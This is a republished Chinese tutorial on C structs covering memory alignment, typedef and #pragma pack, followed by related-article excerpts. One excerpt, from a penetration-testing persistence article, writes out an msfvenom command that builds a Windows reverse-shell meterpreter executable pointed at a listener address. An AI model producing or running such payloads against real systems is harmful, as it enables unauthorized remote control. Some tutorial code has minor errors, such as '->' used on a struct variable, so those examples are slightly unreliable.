由浅到深认识C语言(11):结构体

news2024/11/25 21:32:28

该文章Github地址:https://github.com/AntonyCheng/c-notes

在此介绍一下作者开源的SpringBoot项目初始化模板(Github仓库地址:https://github.com/AntonyCheng/spring-boot-init-template & CSDN文章地址:https://blog.csdn.net/AntonyCheng/article/details/136555245),该模板集成了最常见的开发组件,同时基于修改配置文件实现组件的装载,除了这些,模板中还有非常丰富的整合示例,同时单体架构也非常适合SpringBoot框架入门,如果觉得有意义或者有帮助,欢迎Star & Issues & PR!

上一章:由浅到深认识C语言(10):字符串处理函数

11.结构体

概念以及定义:

C 语言允许用户自己指定这样一种数据结构,它由不同类型的数据组合成一个整体,以便引用,这些组合在一个整体中的数据是互相联系的,这样的数据结构称为结构体,它相当于其它高级语言中记录;

11.1.结构体定义形式

**形式一:**先定义结构体类型,再定义变量(推荐);

//定义结构体类型
struct 结构体类型{
	成员一;
    成员二;
    ……
};
//定义变量
struct 结构体类型 变量名;

示例如下:

struct stu{
	int id;
    char name[5];
    int age;
};
struct stu s1;

此时结构体的数据类型就是定义时中括号前的内容,即 struct stu

**形式二:**定义类型的同时定义变量;

//定义类型,同时定义变量
struct 结构体类型{
	成员一;
    成员二;
    ……
}变量名;

示例如下:

struct stu{
	int id;
    char name[5];
    int age;
}s1;

**形式三:**定义一次性结构体;

//定义类型,但不带结构体类型,同时定义变量
struct {
	成员一;
    成员二;
    ……
}变量名;

示例如下:

struct{
	int id;
    char name[5];
    int age;
}s1;

不能用一次性结构体定义其他变量,例如 s2 、s3 ……

注意事项

  • 定义结构体类型的时候,不要给成员变量赋值,因为定义结构体类型的时候并没有分配空间,所以结构体类型不占空间,结构体变量才占空间
  • 结构体内的成员拥有独立的空间;
  • 定义结构体类型是一条语句,所以要记住结构体后的那一个 ;

实例展示

#include<stdio.h>

struct stu
{
	int id;
	char name[32];
	int age;
};

void test() {
	printf("sizeof(struct stu) = %d\n", sizeof(struct stu));
	return;
}

int main(int argc, char* argv[]) {
	test();
	return 0;
}

打印效果如下:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

11.2.结构体使用法则

格式:类似于Java中类的思想;

结构体变量.结构体成员

访问结构体成员时是通过结构体变量来访问的,而且一定要遵循成员自身的类型;

重点又是字符串在结构体中的操作,字符串除了初始化能够直接赋值之外,其他情况的赋值必须想其他方法,而在结构体中是不能在结构体中成员进行初始化的,所以我们就要将字符串拷贝进去;

示例如下:

#include<stdio.h>
#include<string.h>

struct stu
{
	int id;
	char name[32];
	int age;
};

void test() {
	struct stu xiaochen;
	xiaochen.id = 9;
	strcpy_s(xiaochen.name, 32, "晓晨");
	xiaochen.age = 21;
	printf("xiaochen.id = %d\n", xiaochen.id);
	printf("xiaochen.name = %s\n", xiaochen.name);
	printf("xiaochen,age = %d\n", xiaochen.age);
	return;
}

int main(int argc, char* argv[]) {
	test();
	return 0;
}

打印效果如下:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

11.3.结构体的操作

初始化结构体

定义结构体类型的时候我们是不能将其初始化的,但是在定义变量时可以对其进行初始化;

初始化示例如下:

struct stu{
	int id;
    char name[32];
    char sex;
};
struct stu s = {2020510,"xiaochen",'男'};

清空结构体

格式如下:

struct stu{
	int id;
    char name[32];
    char sex;
};
struct stu s = {2020510,"xiaochen",'男'};
memset(&s, 0, sizeof(s));

11.4.结构体变量操作

获取键盘输入

示例如下:

#include<stdio.h>
#include<string.h>

struct stu
{
	int id;
	char name[32];
	int age;
};

void test() {
	struct stu xiaochen;
	memset(&xiaochen, 0, sizeof(xiaochen));
	printf("从键盘输入xiaochen的基本情况:");
	scanf_s("%d %s %d", &xiaochen.id, xiaochen.name, 32, &xiaochen.age);
	printf("xiaochen.id = %d\n", xiaochen.id);
	printf("xiaochen.name = %s\n", xiaochen.name);
	printf("xiaochen.age = %d\n", xiaochen.age);
}

int main(int argc, char* argv[]) {
	test();
	return 0;
}

打印效果如下:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

变量之间的赋值

例如此时有两个结构体变量,我们想将其中一个的值复制给另外一个,此时就要使用到变量之间的赋值运算;

**方式一:**逐个成员更换;

#include<stdio.h>
#include<string.h>

struct stu
{
	int id;
	char name[32];
	int age;
};

void test() {
	struct stu s1 = { 2022,"小红",21 };
	struct stu s2;
	s2.age = s1.age;
	s2.id = s1.id;
	strcpy_s(s2.name, 32, s1.name);
	printf("s2.age = %d , s2.id = %d , s2.name = %s\n", s2.age, s2.id, s2.name);
}

int main(int argc, char* argv[]) {
	test();
	return 0;
}

打印效果如下:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

**方式二:**相同类型的结构体变量可以整体赋值;(推荐)

#include<stdio.h>
#include<string.h>

struct stu
{
	int id;
	char name[32];
	int age;
};

void test() {
	struct stu s1 = { 2022,"小红",21 };
	struct stu s2;
	s2 = s1;
	printf("s2.age = %d , s2.id = %d , s2.name = %s\n", s2.age, s2.id, s2.name);
}

int main(int argc, char* argv[]) {
	test();
	return 0;
}

打印效果如下:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

**方式三:**使用内存拷贝函数 memcpy() 从原理出发实现赋值;

#include<stdio.h>
#include<string.h>

struct stu
{
	int id;
	char name[32];
	int age;
};

void test() {
	struct stu s1 = { 2022,"小红",21 };
	struct stu s2;
	memcpy(&s2, &s1, sizeof(s1));
	printf("s2.age = %d , s2.id = %d , s2.name = %s\n", s2.age, s2.id, s2.name);
}

int main(int argc, char* argv[]) {
	test();
	return 0;
}

打印效果如下:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

11.5.结构体数组操作

结构体数组本质就是装有结构体的数组容器;

图解:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

当我们要去提取 arr[2] 中的 name ,即用 arr[2].name

示例如下:

#include<stdio.h>
#include<string.h>

struct stu
{
	int id;
	char name[32];
	int age;
};

void test() {
	struct stu arr[5] = {
		{100,"xiaofa",18},
		{101,"xiaohong",19},
		{102,"xiaowang",18},
		{103,"xiaochen",19},
		{104,"xiaowu",20}
	};
	for (int i = 0; i < 5; i++) {
		printf("arr[%d].id = %d , arr[%d].name = %s , arr[%d].age = %d\n",i,arr[i].id,i,arr[i].name,i,arr[i].age);
	}
}

int main(int argc, char* argv[]) {
	test();
	return 0;
}

打印效果如下:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

结构体数组从键盘输入:

#include<stdio.h>
#include<string.h>

struct stu
{
	int id;
	char name[32];
	int age;
};

void test() {
	struct stu arr[5];
	int n = sizeof(arr) / sizeof(arr[0]);
	memset(arr, 0, sizeof(arr));
	printf("请一次输入%d个学生的学号,名字以及年龄:\n", n);
	for (int i = 0; i < n; i++) {
		printf("请输入第%d个学生的信息:\n",i+1);
		scanf_s("%d %s %d", &arr[i].id, arr[i].name, 32, &arr[i].age);
	}
	for (int i = 0; i < n; i++) {
		printf("arr[%d].id = %d , arr[%d].name = %s , arr[%d].age = %d\n",i,arr[i].id,i,arr[i].name,i,arr[i].age);
	}
}

int main(int argc, char* argv[]) {
	test();
	return 0;
}

打印效果如下:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

11.6.结构体指针操作

顾名思义,结构体指针本质是指针,该指针指向结构体的地址,即数据类型是一个 结构体*

写法类比:

//定义结构体:
struct struct_name{int id;};
//定义结构体变量:
struct struct_name a;
//定义结构体指针变量:
struct struct_name* p;
//结构体变量调用结构体元素:
a.id;
//结构体指针变量调用结构体元素:
a->id;  //也可以写作(*a).id;

图解如下:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

示例一:结构体指针;

#include<stdio.h>
#include<string.h>

struct stu
{
	int id;
	char name[32];
	int age;
}; 

void test() {
	struct stu xiaochen = { 100,"晓晨",18 };
	printf("id = %d,name = %s,age = %d\n", xiaochen.id, xiaochen.name, xiaochen.age);
	struct stu* p = &xiaochen;
	p->age = 20;
	p->id = 101;
	strcpy_s(p->name, 32, "安东尼");
	printf("id = %d,name = %s,age = %d\n", xiaochen.id, xiaochen.name, xiaochen.age);
}

int main(int argc, char* argv[]) {
	test();
	return 0;
}

打印效果如下:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

案例二:从堆区为结构体申请一个空间;

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

struct stu
{
	int id;
	char name[32];
	int age;
}; 

void test() {
	struct stu* p = NULL;
	int n = 0;
	printf("请输入人数个数:");
	scanf_s("%d", &n);
	//从堆区申请结构体空间
	p = (struct stu*)calloc(n, sizeof(struct stu));
	if (p == NULL) {
		perror("err");
		return;
	}
	//获取键盘输入
	for (int i = 0; i < n; i++) {
		printf("请输入第%d个学生信息:", i + 1);
		scanf_s("%d %s %d", &(p+i)->id, (p+i)->name,32, &(p+i)->age);
	}
	//遍历键盘输入
	for (int i = 0; i < n; i++) {
		printf("p.id = %d  p.name = %s  p.age = %d\n", (p+i)->id, (p+i)->name, (p+i)->age);
	}
	//释放空间
	if (p != NULL) {
		free(p);
		p = NULL;
	}
}

int main(int argc, char* argv[]) {
	test();
	return 0;
}

打印效果如下:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

示例三:从堆区为结构体数组申请一个空间,并且分函数实现(空间复杂度尽可能地小);

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

struct stu
{
	int id;
	char name[32];
	int age;
};

struct stu* get_mem(int n) {
	return (struct stu*)calloc(n, sizeof(struct stu));
}

struct stu* set_data(struct stu* p, int* n) {
	for (int i = 0; i < *n; i++) {
		printf("请输入第%d个同学信息:", i + 1);
		scanf_s("%d %s %d", &(p + i)->id, (p + i)->name, 32, &(p + i)->age);
	}
	return p;
}

void print_data(const struct stu* p, int* n) {
	//const

	for (int i = 0; i < *n; i++) {
		printf("student%d.id = %d  student%d.name = %s student%d.age = %d\n", i + 1, (p + i)->id, i + 1, (p + i)->name, i + 1, (p + i)->age);
	}
	return;
}

void test() {
	printf("请输入学生的个数:\n");
	int n;
	scanf_s("%d", &n);
	struct stu* arr = NULL;
	//根据学生个数申请空间
	arr = get_mem(n);
	if (arr == NULL) {
		perror("err");
		return;
	}
	//为申请的空间赋值
	arr = set_data(arr, &n);
	//输出空间内容
	print_data(arr, &n);
	//释放空间
	if (arr != NULL) {
		free(arr);
		arr = NULL;
	}
}

int main(int argc, char* argv[]) {
	test();
	return 0;
}

打印效果如下:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

结构体指针作为函数的参数

**示例一:**定义一个函数,给结构体成员获取键盘输入;

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

struct stu
{
	int id;
	char name[32];
	int age;
}; 

void method(struct stu* student) {
	printf("请输入学生的信息(学号 名字 年龄):");
	scanf_s("%d %s %d", &student->id, student->name, 32, &student->age);
	printf("xiaochen.id = %d  xiaochen.name = %s  xiaochen.age = %d\n", student->id, student->name, student->age);
}

void test() {
	struct stu xiaochen;
	method(&xiaochen);
}

int main(int argc, char* argv[]) {
	test();
	return 0;
}

打印效果如下:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

11.7.typedef取别名

使用步骤:

  • 先用已有的类型定义一个相对应的变量
  • 用别名替换变量名
  • 在整个表达式前添加 typedef

注意:typedef 不能创造新的类型,只是给现有类型取别名;

给 int 类型取别名:

#include<stdio.h>

typedef int INT;

void test() {
	INT num = 10;
	printf("INT num = %d\n", num);
}

int main(int argc, char* argv[]) {
	test();
	return 0;
}

打印效果如下:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

给数组取别名:

#include<stdio.h>

typedef int INT[5];

void test() {
	INT num = {1,2,3,4,5};  
	//此时 arr 就是一个拥有5个元素,每个元素为 int 型的数组,arr 是数组首地址
	for (int i = 0; i < 5; i++) {
		printf("%d ", *(num + i));
	}
	printf("\n");
}

int main(int argc, char* argv[]) {
	test();
	return 0;
}

打印效果如下:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

给指针取别名:

#include<stdio.h>

typedef int* INT;

void test() {
	INT num = NULL;
	int a = 10;
	num = &a;
	printf("*num = %d\n", *num);
}

int main(int argc, char* argv[]) {
	test();
	return 0;
}

打印效果如下:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

给函数指针取别名:

#include<stdio.h>

int sum(int a, int b) {
	return a + b;
}

typedef int (*SUM)(int,int) ;
//SUM 是一个函数指针类型,该函数必须有两个 int 形参以及一个 int返回值

void test() {
	SUM p = sum;
	printf("*num = %d\n", p(100,200));
}

int main(int argc, char* argv[]) {
	test();
	return 0;
}

打印效果如下:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

给结构体类型取别名:

#include<stdio.h>
#include<string.h>

typedef struct stu
{
	int id;
	char name[32];
	int age;
}STU; //此时的STU不是结构体变量,而是结构体类型

void test() {
	STU xiaochen = { 0 };
	xiaochen.age = 19;
	xiaochen.id = 101;
	strcpy_s(xiaochen.name, 32, "晓晨");
	printf("%s %d %d\n", xiaochen.name, xiaochen.id, xiaochen.age);
}

int main(int argc, char* argv[]) {
	test();
	return 0;
}

打印效果如下:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

11.8.结构体内存对齐

引入实例:

#include<stdio.h>
struct data1
{
	char ch1;  //1B
	char ch2;  //1B
	char ch3;  //1B
	short num; //2B
};
struct data2
{
	char ch1;  //1B
	char ch2;  //1B
	char ch3;  //1B
	int num;   //4B
};
struct data3
{
	char ch1;  //1B
	char ch2;  //1B
	char ch3;  //1B
	double num;  //8B
};


void test() {
	struct data1 d1;
	printf("sizeof(d1) = %d\n", sizeof(d1));
	struct data2 d2;
	printf("sizeof(d2) = %d\n", sizeof(d2));
	struct data3 d3;
	printf("sizeof(d3) = %d\n", sizeof(d3));
}

int main(int argc, char* argv[]) {
	test();
	return;
}

打印效果如下:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

从上面例子所打印结果我们可以得到一个观察结论:

结构体的大小由占内存最大的那个基本数据类型所决定,即结构体的单位内存大小就是内存最大的基本数据类型的内存大小,这就是结构体的内存向大对齐;

结构体内存分布

示例如下:

struct data{
	char c;  //1B
	int i;  //4B
};

方法如下:

  1. 确定分配单位:每一行应该分配的字节数;

    由结构体中最大的基本类型长度决定;

  2. 确定成员的起始位置的偏移量 == 成员的基本类型含零整数倍

  3. 收尾工作:结构体总大小 == 分配单位的整数倍;

案例一:

typedef struct {
	int a;
	char b;
	short c;
	char d;
}DATA;

画图如下:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

证实如下:

#include<stdio.h>

typedef struct {
	int a;
	char b;
	short c;
	char d;
}DATA;

void test() {
	DATA data = { 0,0,0,0 };
	printf("%u\n", &data.a);
	printf("%u\n", &data.b);
	printf("%u\n", &data.c);
	printf("%u\n", &data.d);
}

int main(int argc, char* argv[]) {
	test();
	return;
}

打印效果如下:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

案例二:

typedef struct {
	char a;
	short b;
	short c;
	int d;
	char e;
}DATA;

画图如下:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

案例三:

typedef struct {
	char a;
	short b;
	char c;
	short d;
}DATA;

画图如下:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

结构体内存分布的作用

便于指针作用于结构体中;

示例如下:

一个结构体中有如下成员:

typedef struct {
	char a;
	int b;
	short c;
}DATA;

我们要通过指针去取到 short c

#include<stdio.h>

typedef struct {
	char a;
	int b;
	short c;
}DATA;

void test() {
	DATA data = { 'a',10,20 };
	char* p = NULL;
	p = &data.a;
	p = p + 8;
	printf("data.c = %d\n", *(short*)p);
}

int main(int argc, char* argv[]) {
	test();
	return;
}

打印效果如下:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

11.9.结构体嵌套结构体

图解如下:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

示例如下:

#include<stdio.h>

typedef struct {
	int a;
	int b;
}DATA1;

typedef struct {
	int c;
	int d;
	DATA1 e;  //结构体变量c作为DATA2的成员,这就是结构体嵌套结构体
}DATA2;

void test() {
	DATA2 data = {0,0,{0,0}};
	printf("请输入四个数字:\n");
	scanf_s("%d %d %d %d", &data.e.a, &data.e.b, &data.c, &data.d);
	printf("你输入的四个数是:\n");
	printf("data.e.a = %d\ndata.e.b = %d\ndata.c = %d\ndata.d = %d\n", data.e.a, data.e.b, data.c, data.d);
}

int main(int argc, char* argv[]) {
	test();
	return;
}

打印效果如下:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

嵌套结构内存分布

该内存分布与单层结构体的内存分布方式大同小异;

方法如下:

  1. 确定分配单位:每一行应该分配的字节数;

    由所有结构体中最大的基本类型长度决定的;

  2. 确定成员的偏移量 == 自身类型的含零整数倍;

    结构体成员偏移量 == 被嵌套的结构体中最大的基本类型含零整数倍;

    结构体成员中的成员偏移量是相对于被嵌套的结构体而言的;

  3. 收尾工作:结构体的总大小 == 分配单位的整数倍;

    结构体成员的总大小 == 被嵌套的结构体里面最大基本类型整数倍;

案例一:

typedef struct {
	short d;
	char e;
}DATA2;

typedef struct {
	short a;
	int b;
	DATA2 c;
	short f;
}DATA1;

画图如下:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

证实如下:

#include<stdio.h>

typedef struct {
	short d;
	char e;
}DATA2;

typedef struct {
	short a;
	int b;
	DATA2 c;
	short f;
}DATA1;

void test() {
	DATA1 data = { 0,0,{0,0},0 };
	printf("%u\n", &data.a);
	printf("%u\n", &data.b);
	printf("%u\n", &data.c.d);
	printf("%u\n", &data.c.e);
	printf("%u\n", &data.f);
}

int main(int argc, char* argv[]) {
	test();
	return;
}

打印效果如下:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

案例二:

typedef struct {
	short d;
	char e;
}DATA2;

typedef struct {
	int a;
	short b;
	DATA2 c;
	short f;
}DATA;

画图如下:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

11.10.强制类型对齐

为了控制C语言中数据类型对齐不统一的问题,C语言中自带了一条处理语言:

#pragma pack (value);
//value只能是2^n,常用的几个是1,2,4,8;

这样声明就能够将该文件中的数据类型强制对齐于某一个值,但是要注意以下事项

指定对齐方式(value)与数据类型对齐默认值相比取较小值;

**解释说明:**如果我们指定的是 4,但是系统默认对齐值是 2 ,那么我们所设置的对齐方式无效,系统会默认进行比较,并且选择较小的值,如果我们指定的是 2,但是系统默认对齐值是 4,那么我们所设置的对齐方式就会生效;

  • 例一:指定值是 1,则 short、int、float 等均为 1;
  • 例二:指定值是 2,则 char 仍然为 1,short 为 2,int 也为 2;

下面是具体步骤:

  1. 确定分配单位:每一行应该分配的字节数 ==> min(value,默认分配单位);
  2. 成员偏移量 == 成员自身类型的含零整数倍;
  3. 收尾工作:总大小就是分配单位的整数倍;

那么我们可以通过强制类型对齐来计算一个结构体的真实大小,即不含有空地值的大小:

#include<stdio.h>
#pragma pack (1)
typedef struct {
	char a;    //1B
	int b;     //4B
	short c;   //2B
}DATA;

void test() {
	DATA data = { 'a',10,20 };
	printf("the real size of data is %d Bite\n", sizeof(data));
}

int main(int argc, char* argv[]) {
	test();
	return 0;
}

打印效果如下:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

无论是系统默认对齐,还是强制类型转换都有可能会改变一个结构体的内存大小,除此之外,调整结构体的成员顺序也有可能改变一个结构体的大小,但是这是一个时间复杂度与空间复杂度的相互牵制问题,如果想让空间复杂度小一点,那么就尽量把数据类型大小相同的或者相近的成员在编写代码阶段编在一起;

下一章:由浅到深认识C语言(12):位段/位域

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1522850.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

一起学数据分析_2

写在前面&#xff1a;代码运行环境为jupyter&#xff0c;如果结果显示不出来的地方就加一个print()函数。 一、数据基本处理 缺失值处理&#xff1a; import numpy as np import pandas as pd#加载数据train.csv df pd.read_csv(train_chinese.csv) df.head()# 查看数据基本…

数据结构的概念大合集01(含数据结构的基本定义,算法及其描述)

概念大合集01 1、数据结构基础的定义2、数据结构2.1 数据元素之间关系的集合2.2数据结构的三要素2.2.1数据的逻辑结构2.2.2数据的存储&#xff08;物理&#xff09;结构2.2.3数据的运算 3、数据类型4、抽象数据类型类型&#xff08;ADT&#xff09;5、算法及其描述5.1算法的5个…

NCV4275CDT50RKG稳压器芯片中文资料规格书PDF数据手册引脚图图片价格功能

产品概述&#xff1a; NCV4275C 是一款低漏稳压器&#xff0c;可用于严酷汽车环境。它包括了较宽的运行温度范围和输出电压范围。输出调节为 5.0 V 或 3.3 V&#xff0c;额定输出电流为 450 mA。它还提供过电流保护、超温保护和可编程微处理器重置等多种功能。NCV4275C 采用 D…

观察者模式的理解和引用

1.前言 在之前的H5小游戏中&#xff0c;对于长连接发送的不同类型数据包的处理&#xff0c;是通过switch语句进行处理的&#xff0c;于是在自己的代码中出现了大量的case分支&#xff0c;不方便进行维护和后期的版本迭代。于是在老师的指导下&#xff0c;开始寻求使用观察者模…

互动投影游戏如何为科普教育馆带来更加生动有趣的科普体验?

近年科普教育馆在数字多媒体技术的支持下&#xff0c;让更多的家长和孩子注意到这一展示场景&#xff0c;尤其是对孩子来说&#xff0c;这里不仅是一个扩展知识的场景&#xff0c;更是一个发掘自我、探索未知世界的地方&#xff0c;而在这个过程中&#xff0c;多媒体互动技术的…

【MySQL高级篇】08-事务篇

第13章:事务基础知识 #09-事务的基础知识#1.事务的完成过程 #步骤1&#xff1a;开启事务 #步骤2&#xff1a;一系列的DML操作 #.... #步骤3&#xff1a;事务结束的状态&#xff1a;提交的状态(COMMIT) 、 中止的状态(ROLLBACK)#2. 显式事务#2.1 如何开启&#xff1f; 使用关键…

蓝桥:保险箱(Python,动态规划)

问题描述&#xff1a; 小蓝有一个保险箱&#xff0c;保险箱上共有 n 位数字。小蓝可以任意调整保险箱上的每个数字&#xff0c;每一次操作可以将其中一位增加 1 或减少 1。当某位原本为 9 或 0 时可能会向前&#xff08;左边&#xff09;进位/退位&#xff0c;当最高位&#x…

如果要做优化,CSS提高性能的方法有哪些?

文章目录 一、前言二、实现方式内联首屏关键CSS异步加载CSS资源压缩合理使用选择器减少使用昂贵的属性不要使用import其他 三、总结参考文献 一、前言 每一个网页都离不开css&#xff0c;但是很多人又认为&#xff0c;css主要是用来完成页面布局的&#xff0c;像一些细节或者优…

加密算法详解

加密学的发展和应用 计算机加密学的发展历程可以大致分为以下几个阶段&#xff1a; 古典密码学时期&#xff08;古代至20世纪初&#xff09;&#xff1a; 在古代&#xff0c;人们就已经开始使用简单的加密技术来保护通信内容&#xff0c;例如凯撒密码、维吉尼亚密码等。到了近…

渗透测试框架权限维持技术——Persistence模块

测试环境&#xff1a; kali win7 测试步骤&#xff1a; 1.利用MSF编写远控程序 msfvenom -p windows/meterpreter/reverse_tcp lhost10.0.0.163 lport55555 -f exe -o 5555.exe-p 漏洞利用payload lhost 监听地址&#xff08;kali地址&#xff09; lport 监听端口&#xf…

MQ 延迟队列

MQ 延迟队列 1. 前言 延迟队列是我们日常开发过程中&#xff0c;经常接触并需要使用到的一种技术方案。前些时间在开发业务需求时&#xff0c;我也遇到了一个需要使用到延迟消息队列的需求场景&#xff0c;因此我也在网上调研了一系列不同的延迟队列的实现方案&#xff0c;在…

计算机网络----计算机网络的基础

目录 一.计算机网络的相关概念 二.计算机网络的功能 三.计算机网络的发展 四.计算机网络的组成 五.计算机网络的分类 六.计算机的性能指标 1.速率 2.带宽 3.吞吐量 4.时延 5.时延带宽积 6.往返时延RTT 7.利用率 七.计算机的分层结构 八.ISO/OSI参考模型 九.OSI…

Word粘贴时出现“运行时错误53,文件未找到:MathPage.WLL“的解决方案

在安装完MathType后&#xff0c;打开word复制粘贴时报错“运行时错误53,文件未找到&#xff1a;MathPage.WLL” 首先确定自己电脑的位数&#xff08;这里默认32位&#xff09; 右击MathType桌面图标&#xff0c;点击“打开文件所在位置”&#xff0c; 然后分别找到MathPage.W…

RabbitMQ高级-高级特性

1.消息可靠性传递 在使用RabbitMQ的时候&#xff0c;作为消息发送方希望杜绝任何消息丢失或者投递失败场景。RabbitMQ为我们提供了两种方式来控制消息的投递可靠性模式 1.confirm 确认模式 确认模式是由exchange决定的 2.return 退回模式 回退模式是由routing…

Webapi(.net6) 批量服务注册

如果不考虑第三方库&#xff0c;如Autofac这种进行服务注入&#xff0c;通过本身的.Core Weabpi实现的&#xff0c;总结了两种实现方法&#xff0c; 1.一种是参考abp框架里面的形式; 1.1 新建个生命周期的文件夹: 三个接口分别为: public interface IScopedDependency { }pu…

机器学习周报第33周

目录 摘要Abstract一、文献阅读1.1 论文标题1.2 论文摘要1.3 论文背景1.4 过去研究1.5 论文介绍1.5.1 论文模型1.5.2 时空交互学习模块&#xff08;Spatiotemporal Interactive Learning Module&#xff09;1.5.3 动态图推理模块&#xff08;Dynamic Graph Inference Module&am…

Uniapp有奖猜歌游戏系统源码,附带流量主

有奖猜歌游戏是一款基于uni-app、uniCloud、uniAD 开发的小游戏&#xff0c;通过猜歌曲、观看广告赚取现金奖励。 游戏基本特征 玩家可以通过猜歌、做任务等方式直接获取现金奖励 玩家可以通过猜歌、拆红包、做任务等方式获取金币奖励&#xff0c;当金币累积到一定数量可以兑…

C++之类和对象(3)

目录 1. 再谈构造函数 1.1 构造函数体赋值 1.2 初始化列表 1.3 explicit 2. static成员 2.1 概念 3. 友元 3.1 友元函数 3.2 友元类 4. 内部类 5. 匿名对象 6. 拷贝对象时编译器做出的优化 1. 再谈构造函数 1.1 构造函数体赋值 class Date { public:Date(int year2024…

实现界面跳转及注册界面编写(AndroidStudio)

目录 一、代码 二、最后效果 一、代码 1.先新建一个activity文件 2.注册界面的代码如下&#xff1a; <?xml version"1.0" encoding"utf-8"?> <LinearLayout xmlns:android"http://schemas.android.com/apk/res/android"android:la…

(附数据集)基于lora参数微调Qwen1.8chat模型的实战教程

基于lora微调Qwen1.8chat的实战教程 日期&#xff1a;2024-3-16作者&#xff1a;小知运行环境&#xff1a;jupyterLab描述&#xff1a;基于lora参数微调Qwen1.8chat模型。 样例数据集 - qwen_chat.json&#xff08;小份数据&#xff09; - chat.json&#xff08;中份数据&…